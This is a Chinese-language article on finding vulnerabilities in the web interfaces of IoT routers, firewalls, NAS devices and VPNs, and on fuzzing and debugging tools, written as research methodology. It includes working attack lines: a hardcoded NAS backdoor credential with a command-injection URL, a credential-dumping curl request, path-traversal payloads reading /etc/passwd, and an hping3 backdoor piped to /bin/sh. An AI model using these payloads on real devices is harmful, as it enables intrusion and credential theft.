路由器、防火墻、NAS和攝像頭等由于功能復雜,為方便交互一般都會提供web管理服務,和服務器web相比,IOT的web功能較為簡單,也就避免了一些復雜功能存在的漏洞,但是由于嵌入式設備的硬件瓶頸,設備自身的安全檢測與防護能力有限,也就增加了其安全風險。
IOT Web服務
IOT web常采用開源框架+自研模塊的方式,漏洞特點也較為明顯:
( 一 ) 自研CGI模塊中存在漏洞的概率較高,漏洞差異性大
( 二 ) 開源框架(可能的)漏洞廣泛存在各種設備,漏洞同源性強
雖然具體漏洞存在差異,但常見的大致分為幾類。
2.1 漏洞類型
2.1.1 常見web漏洞
首先當然是弱口令,雖然在IOT攻擊中比重較大但和用戶設置相關,再次不做討論。其次常見的web漏洞包括sql注入、xss、csrf、ssrf、xxe等,由于挖掘和利用方法和服務器web基本相似,且在IOT web漏洞中占比不高,就不在贅述。唯一想強調的是路由器、防火墻等邊界設備尤其要重視ssrf漏洞,不然很容易成為內網滲透的墊腳石。
2.1.2 硬編碼
硬編碼是開發(fā)人員為了方便調試(或其他某些原因)在設備內部保留的后門,一般權限較高。有些服務的形式存在,比如某款路由器的IGDMPTD進程默認開啟53413端口,連接就直接獲取root shell。
1. LOAD:004024B8 sw $zero, 0x30+sock_addr($sp)
2. LOAD:004024BC sw $zero, 0x30+sock_addr.sin_zero($sp)
3. LOAD:004024C0 sw $zero, 0x30+sock_addr.sin_zero+4($sp)
4. LOAD:004024C0+4 li $v0, 2
5. LOAD:004024C8 sh $v0, 0x30+sock_addr($sp)
6. LOAD:004024CC li $v0, 0xFFFFD0A5 # 0xd05a = 53413
7. LOAD:004024D0 sh $v0, 0x30+sock_addr.sin_port($sp)
8. LOAD:004024D4 sw $zero, 0x30+sock_addr.sin_addr($sp)
許多IOT web應用中也被發(fā)現存在硬編碼后門,比如某款NAS,以下是該NAS的nas_sharing.cgi的部分IDA偽代碼:
1. struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
2. {
3. const char *v2; // r5@1
4. const char *v3; // r4@1
5. struct passwd *result; // r0@4
6. FILE *v5; // r6@5
7. struct passwd *v6; // r5@7
8. {...}
9' if (!strcmp(v3, "mydlinkBRionyg")
10. && !strcmp((const char *)&v9, "abc12345cba") )
11. {
12. result = (struct passwd *)1;
13. }
14. else
15. {
16. v5 = (FILE *)fopen64("/etc/shadow", "r");
17. {...}
18. if ( !strcmp(result->pw_name, v3) )
19. {
20. strcpy(&s, v6->pw_passwd);
21. fclose(v5);
22. strcpy(&dest, (const char *)&v9);
23. v7 = (const char *)sub_1603C(&dest, &s);
24. return (struct passwd *)(strcmp(v7, &s) == 0);
25. }
26. {...}
27. }
可以看出代碼中包含了一個管理員憑據(用戶名mydlinkBRionyg/密碼abc12345cba),代碼中還使用了危險函數strcpy,雖然在這個漏洞沒有用到,結合硬編碼可以構造命令注入數據實現設備的遠程控制。
1. GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
2. IzNDVjYmE&start=1&count=1;{your cmd};
此種漏洞還是比較直觀的,可以通過(二進制)代碼審計找到,使用一些反匯編插可以提高挖掘效率,在后文我們會討論到。
2.1.3 信息泄漏
信息泄漏概念比較泛,完全杜絕很困難,一般只要出現對設備研究(攻擊)有幫助的信息泄漏都會造成一定危害,不僅用戶信息(用戶名、密碼等),二進制文件地址信息等較為敏感,http(s)響應頭中的某些字段、error、debug等信息泄漏也同樣能給攻擊者帶來幫助,從某些文件的last_modified時間能推算出固件版本,這些熟悉滲透測試的小伙伴應該比較了解。
http(s) header
一般從http response header中可以得知web服務框架名、版本號等信息,有些設備沒有關閉debug和error輸出,也會暴露一些敏感信息。
當然,從固件中提取文件系統,也很快能找到web的相關代碼。值得注意的是,很多IOT設備型號和固件版本多,在遠程判斷固件版本時可訪問文件(png、JS等等)的last_modified屬性很可能會給出提示。
返回時間
通過返回時間判斷漏洞在SQL盲注中比較常見,由于IOT設備的運算能力有限,如果漏洞能觸發(fā)高消耗邏輯返回的時間是必與正常操作返回時間有所差異。
未授權訪問
未授權訪問從本質上來說也是邏輯錯誤,就是在判斷權限的邏輯前執(zhí)行了功能邏輯,或是沒有判斷就直接執(zhí)行。這些不需要認證就可以訪問的位置往往會泄露敏感信息,甚至直接導致RCE。
市面上很多家用路由器系統都基于openwrt,測試了某款銷量比較高的設備,其中也不乏未認證前的信息泄漏,有些比較敏感不便截圖。
認證繞過
認證繞過一般也是邏輯錯誤導致,有些設備為了省事不遵守密碼學的基本原則,將用戶密碼明文存放。如果存在信息泄漏將會把用戶憑據直接返回給攻擊者。比如某路由器cgi存在邏輯錯誤,導致直接將用戶名和密碼以xml的方式返回。
1. # curl -d SERVICES=DEVICE.ACCOUNT http://{ip}/getcfg.php
2. <?xml version="1.0" encoding="utf-8"?>
3. <postxml>
4. <...>
5. <uid>USR-</uid>
6. <name>admin</name>
7. <usrid></usrid>
8. <password>admin1324</password>
9. <...>
10. </postxml>
2.1.4 目錄穿越
目錄穿越是未設置訪問邊界,客戶端可以越界訪問到不該提供文件,一般會造成任意文件讀漏洞。以下鏈接很好的介紹了常見的目錄穿越漏洞點,有興趣的小伙伴可以自行閱讀。
https://www.hackingarticles.in/comprehensive-guide-on-path-traversal/
目錄穿越漏洞原理比較簡單,但有時候也需要一些技巧。
某防火墻目錄穿越漏洞,可獲取配置文件等敏感信息
1. snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
該防火墻在全球廣泛應用,由于沒有對lang變量過濾,造成了目錄穿越讀對漏洞,漏洞利用時還使用了一個技巧,即將lang長度擴充至0x40,將”.json”字符串“擠在”0x40之外,由于snprintf的長度固定就突破了后綴名限制,poc如下:
1. /lang migadmin/lang =/../../../..//////////////////////////////bin/sh //../../../..//////////////////////////////bin/sh.json
某VPN設備目錄穿越漏洞,可獲得獲取用戶登錄憑據
1. /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
該VPN設備也在全球廣泛使用,漏洞原因是使用了html5新特性時沒有對路徑過濾,同時由于該VPN設備緩存中可能保留用戶憑據和密碼明文,就有很大概率拿到憑據繞過認證。
2.1.5 注入
注入漏洞也是大家比較熟悉的,安全研究人員的職業(yè)病就是遇到輸入的地方都忍不住試一試能不能執(zhí)行命令,在某些彈幕里居然還有許多alert飄過~~~
有輸入的地方就有可能存在注入,一般命令注入和參數注入較為常見。
命令注入
命令注入一般是沒有過濾用戶輸入內容,直接通過system等函數執(zhí)行運行,只要在輸入中加入“;”或者”&&”,隨后跟上要執(zhí)行的命令,就可以完成注入。有些過濾不嚴格,通過一些技巧繞過也可達到相同效果,方法也和一般web滲透基本相同。
1. int __fast sub_9424(int port)
2. {
3. int v1; // r5
4. char s; // [sp+0h][bp-114h]
5.
6. v1 = port;
7. memset(&s, 0, 0x100u);
8. sprintf(&s, "lighty_ssl -p %s", v1);
9 system(&s);
10. return 0;
11. }
上面展示了某路由設備命令注入漏洞的部分代碼,由于對用戶輸入port值缺少過濾,并直接用system執(zhí)行造成了命令注入,諸如此類簡單的注入漏洞通過反匯編腳本輔助可很快發(fā)現。
參數注入
稍微注重安全的廠商都會在設備中對用戶輸入做字符過濾,有的還十分嚴格,但往往忽略了應用參數。前面提到,設備應用了很多開源工具,有些開源工具功能強大,參數很多,但是在移植的時候開發(fā)者并沒有修改代碼,這樣對開源工具自身功能的運用或者參數的覆蓋也可以達到注入的目的。
有些設備會內置ping/tarce/hping3等功能,hping3功能強大,我們比較熟悉的是網絡聯通探測和Flood攻擊,但是往往會忽略hping3還有監(jiān)聽功能,在下面這篇文章中對其功能和技巧概括比較全面。
https://medium.com/@iphelix/hping-tips-and-tricks-85698751179f
其中提到利用hping3的監(jiān)聽功能可以構造backdoor,在設備端執(zhí)行
1. hping3 -I eth1 -9 secret | /bin/sh
本地執(zhí)行
1. hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1
當設備受到的網路數據中包含”secret”關鍵字時就會執(zhí)行commands_file文件中的shell命令。
此外hping3還可以讀取文件并發(fā)送,達到SSRF的效果,這里不再贅述,有興趣的小伙伴可以具體查看其參數功能。
2.1.6 內存溢出
相對于之前的幾種漏洞,IOT web中的溢出漏洞一般要結合二進制代碼審計,常見于處理解析輸入的位置。內存溢出漏洞發(fā)現比較容易,因為漏洞觸發(fā)現象明顯,往往會造成崩潰,利用方面比上述的漏洞稍復雜一些,需要二進制的基礎。
解析參數
解析http(s)參數時可能會發(fā)生溢出問題,下面是某路由器的http cgi中部分解析代碼:
1. {...}
2. __fd = fileno(__stream);
3. lockf(__fd,0,0);
4. fclose(__stream);
5. remove("/var/tmp/temp.xml");
6. uVar1 = sobj_get_string(iVar5);
7. sprintf(acStack1064, "/htdocs/webinc/fatlay.php\nprefix=%s/%s","/runtime/session",uVar1);
8. xmldbc_ephp(0,0,acStack1064,stdout);
9. if (__fd_00 == 0) goto LAB_004099cc;
10. __s1 = (cahr *)0x0;
11. {...
uVar1是HTTP_COOKIE中uid的內容,由于未對其長度作限制,而acStack1064長度有限,就導致棧溢出。
解析javascript
js中不僅能找到flag,還可能導致漏洞。某防火墻的WebVPN功能在解析HTML中的JavaScript時,服務器會嘗試使用如下代碼將內容拷貝到緩沖區(qū)中:
1. memcpy(buffer, js_buf, js_buf_len);
緩沖區(qū)大小固定為0x2000,但輸入字符串沒有長度限制,就造成了堆溢出。
IOT設備溢出漏洞利用相對簡單,在設備中使用pwn checksec會發(fā)現,為了節(jié)省資源程序一般沒有開什么防護機制,基本處于“裸奔”狀態(tài)。設備中的非web協議也會存在溢出等內存問題,會在之后的文章中作探討。
2.2 研究方法
研究方法無非靜態(tài)審計或者動態(tài)測試,利用一些插件工具輔助可以提高效率。
2.2.1 靜態(tài)分析
源代碼審計
跟著代碼邏輯一步一步往后看當然可以,但是費時費力不太現實,一般可都從危險函數入手,回溯其調用是否存在問題,危險函數一般包括system等可以執(zhí)行命令的,strcpy/snprintf等對內存或字符串操作的,還有回調類的等等,因不同編程語言而異。市面上有許多成熟的代碼審計工具, 比較出名的RIPS、Fortify SCA等,網上教程很多,這里不再贅述。
二進制審計
現在的反匯編工具很強大,使得二進制審計和代碼審計沒有本質區(qū)別。方法也差不多是從危險函數和有輸入交互的邏輯入手,再回溯其是否存在漏洞。推薦的一些IDA插件在之前固件分析篇已經列出,PAGalaxyLab開源的一些Ghidra腳本也很值得借鑒。
https://github.com/PAGalaxyLab/ghidra_scripts
利用插件可以直接將想要的函數列出便于審計:
2.2.2 動態(tài)測試
2.2.2.1 Scan
能用工具直接掃出來漏洞又何必自己動手挖,和研究傳統的web相同,先利用appscan、burpsuite等工具掃描,雖然大概率掃不出來,但多少可以獲得一些有用信息。
2.2.2.2 fuzz
如果掃描工具效果一般,可以利用一些fuzz工具或者fuzz框架的自研代碼進行測試,fuzz針對的目標或者說要解決的問題有三個:
( 一 ) 有哪些可訪問的頁面(位置)
( 二 ) 這些頁面(位置)的有哪些參數
( 三 ) 在解析這些參數時可能出現的問題
fuzz工具(框架)的選取根據自己的喜好,筆直以前會經常試用一些新的框架,時至今日fuzz工具(框架)已經數不過來,下面這個網站展示了常見的fuzz工具(框架)和關系圖。
https://fuzzing-survey.org/
最簡單的就是利用burpsuite的intrude功能,將參數內容設置為從字典中選取,通過返回(大小)判斷是否找到了某些bug。下面介紹筆者常用的一些fuzz工具。
wfuzz
wfuzz是為了測試web應用安全性而生的fuzz工具,可利用給定的Payload去fuzz。Payload可以是參數、認證、表單、目錄/文件、頭部等等,這款工具在kali里面。
比如想測試提交的username=&password=參數,可以使用如下命令:
1. wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
可以看到和之前提到的burpsuite的intrude功能很像。研究過fuzz的小伙伴知道,fuzz一般基于生成或變異,這里基于字典,可以算是生成類型,所以能不能有所收獲全看有沒有好字典。當然wfuzz還有許多使用技巧,在web漏洞挖掘中十分強大,篇幅原因這里不再展開。
boofuzz
與wfuzz不同,boofuzz是一個python的fuzz框架,其前身是sulley。boofuzz比較靈活,支持多種協議fuzz,但需要開發(fā)者對所測試協議格式較為了解。
1.def define_proto_static(session):
2. s_initialize(name="Request")
3. with s_block("Request-Line"):
4. s_group("Method", ["GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE"])
5. s_delim(" ", name="space-1")
6. s_string("/index.html", name="Request-URI")
7. s_delim(" ", name="space-2")
8. s_string("HTTP/1.1", name="HTTP-Version")
9. s_static("\r\n", name="Request-Line-CRLF")
10. s_string("Host:", name="Host-Line")
11. s_delim(" ", name="space-3")
12. s_string("example.com", name="Host-Line-Value")
13. s_static("\r\n", name="Host-Line-CRLF")
14. s_static("\r\n", "Request-CRLF")
這是boofuzz 測試http的示例的代碼片段,可以看到define_proto_static函數在構造http協議請求格式,在每個位置都可以選擇是運用固定字符串(數字)還是利用變異。
嵌入式fuzz的一個難點在于監(jiān)視器,即發(fā)送fuzz數據后的異常狀態(tài)檢測。在設備端需要一個類似插樁的東西隨時監(jiān)測應用狀態(tài),在x86(-64)的fuzz中有許多這樣的工具,但由于某些IOT設備自身限制,移植比較困難。如果只以程序是否奔潰為檢測依據顆粒度過大,一般只能檢測到內存奔潰漏洞,如果存在守護進程那效果更不明顯,一般會采取如下方案:
( 一 ) 利用syslog反饋,通過dmesg等日志信息檢測程序異常,一般會將debug信息級別調制最高。
( 二 ) 利用gdb調試監(jiān)測,通過便攜.gdbinit腳本在gdb調試進程時檢測所需狀態(tài)。
( 三 ) 利用模擬器模擬進程,通過QEMU、unicorn、Qiling等模擬設備文件,這些工具都提供了一些插樁功能。
當然還可以移植,雖然也可以直接做IOT架構下的二進制fuzz,但是效率較低,可以結合模擬器,比如Qiling,做一些嘗試,最好還是在有代碼的情況移植做fuzz。
以前做嵌入式開發(fā),在Golang興起前是想盡辦法交叉編譯,讓程序移植到設備上能穩(wěn)定運行;現在作安全研究,是想盡辦法把設備程序移植到主機上運行,以利用主機CPU的運算能力提高fuzz效率,想想就讓人不勝唏噓。
Hongfuzz
https://github.com/google/honggfuzz
Honggfuzz、AFL和libfuzzer都由Google開發(fā),是比較著名的三個基于代碼覆蓋率的fuzzer。
這里簡單提及一下利用Honggfuzz NetDriver 白盒fuzz socket類程序的方法,一般會將策劃個女婿的main函數改為
HFND_FUZZING_ENTRY_FUNCTION,然后用hfuzz-clang編譯, libhfnetdriver.a鏈接即可。
1. int main(int argc, char *argv[]){
2. {...}
3. }
改為
1. HFND_FUZZING_ENTRY_FUNCTION(int argc, char *argv[]){
2. {...}
3. }
使用時執(zhí)行以下命令,_HF_TCP_PORT指定監(jiān)聽的端口,fuzzer會和這個端口建立tcp連接,然后發(fā)送數據:
1. _HF_TCP_PORT=8888 honggfuzz -f input -- ./vuln
AFL(和其無數衍生工具)
https://github.com/google/AFL
AFL不用多說,網上的資料眾多,利用AFL的qemu或unicorn模式可以對設備程序作黑盒fuzz,雖然效率不高。AFL的衍生工具有很多,簡單列舉兩個和web相關的:
AFLnet:AFL fuzz網絡協議版
https://github.com/aflnet/aflnet
afl-cgi-wrapper:利用AFL fuzz web CGI
https://github.com/floyd-fuh/afl-cgi-wrapper
3.2.2.3 動態(tài)調試
設備上的調試一般用gdb,有條件上python,裝個peda/gef/pwndbg更好。筆者觀點是有現成的binary就用,運行不了再自己交叉編譯,github上不乏編譯好的gdb static文件,涵蓋多種設備架構:
https://github.com/hugsy/gdb-static
當然還可以用IDA pro遠程attach進行調試,遠程調試一般也是利用gdbserver,本質上沒有差別,有些情況下還可能出現崩潰,這個因設備而異。
2.3 研究流程
最后討論下IOT web的研究流程,一般要通過信息收集,認證前分析,認證后分析幾個步驟,下面列舉一些基本的流程,歡迎小伙伴們一起探討補充。
2.3.1 信息收集
信息收主要是對設備信息作梳理,實際研究時不僅僅是web方面,本篇既然著重IOT web就先提供一些此方面的思路。
開源識別
通過設備解包或web(錯誤)返回信息等確認web框架,是否是apache/ngnix/webapp等開源框架,其版本具體信息是什么。如果不開源,那么之后的測試點又多了一項。
公開漏洞
設備(web)有哪些歷史漏洞,廠商補丁是否完全有效;若框架開源,相應版本存在哪些漏洞,是否補上。
所有可訪問鏈接(位置)
通過固件提取等目錄(如果存在文件系統)或者Dirbuster/dirsearch等工具探索web所有可以訪問的鏈接和位置,這些鏈接(位置)有哪些參數。
未授權頁面
這些web鏈接(位置)是否存在未授權就可以訪問的頁面。
所有功能&新特性
該設備具有哪些(web)功能,是否存在比較新或者實現功能復雜的特性(ssl-vpn/html5/guacamole/云管理等等)
2.3.2 認證前分析
認證前分析主要針對未授權就可以訪問的頁面(位置),同時對登錄過程作一些分析。
• 工具掃描
在不提供登錄憑據對情況下利用appscan、burpsuite等工具掃描,通過IDA/ghidra(腳本)查看web模塊是否存在硬編碼。
• 代碼審計
分析未授權訪問頁面(位置)的實現模塊,根據實際情況進行(二進制)代碼危險函數審計,回溯是否可利用,可利用IDA/ghidra(腳本)輔助,列出危險函數和其參數。
• 動態(tài)測試
分析(或爆破)頁面(位置)可接受的參數,進行動態(tài)fuzz。
• 登錄繞過
分析登錄實現模塊,看有沒直接繞過的可能性。
• 公開漏洞驗證
如果存在公開漏洞,驗證在設備上是否可以復現,還可以針對補丁的有效性作研究。
2.3.3 認證后分析
認證后分析針對所有可以訪問的位置,著重在有輸入和提供參數的地方作研究。
• 工具掃描
提供登錄憑據后利用appscan、burpsuite等工具掃描。
• 公開漏洞驗證
同認證前分析。
• 驗證輸入
所有用戶可以輸入的位置,是否可以命令注入/參數注入,如果有過濾,是否可以繞過;利用fuzz工具探測入的位置是否存在內存溢出,當然也可以直接(二進制)代碼審計。
• 功能參數
所有請求參數的內容是否可以注入,包括http header中的內容,可以通過腳本實現,也可以手動探測。
• 代碼審計
同認證前分析。
• 升級模塊
升級模塊是否對升級包嚴格校驗,升級等能上傳文件的功能模塊是否可以目錄穿越。
• 權限提升
如果web功能存在漏洞但運行在低權限下,能否利用rpc/socket/suid/溢出等方法提權。
2.4 總結
IOT web還是web,對其安全研究本質上與傳統web沒什么不同。尤其有些設備未提供更好的服務在web上運用了較為復雜的功能,進一步增加的安全風險,也將IOT web研究和傳統web拉的更近。但也可以看到IOT web也有其獨有的特點,很多情況下更偏重多架構下的二進制分析。
原文來源:FreeBuf(如有侵權,通知刪帖)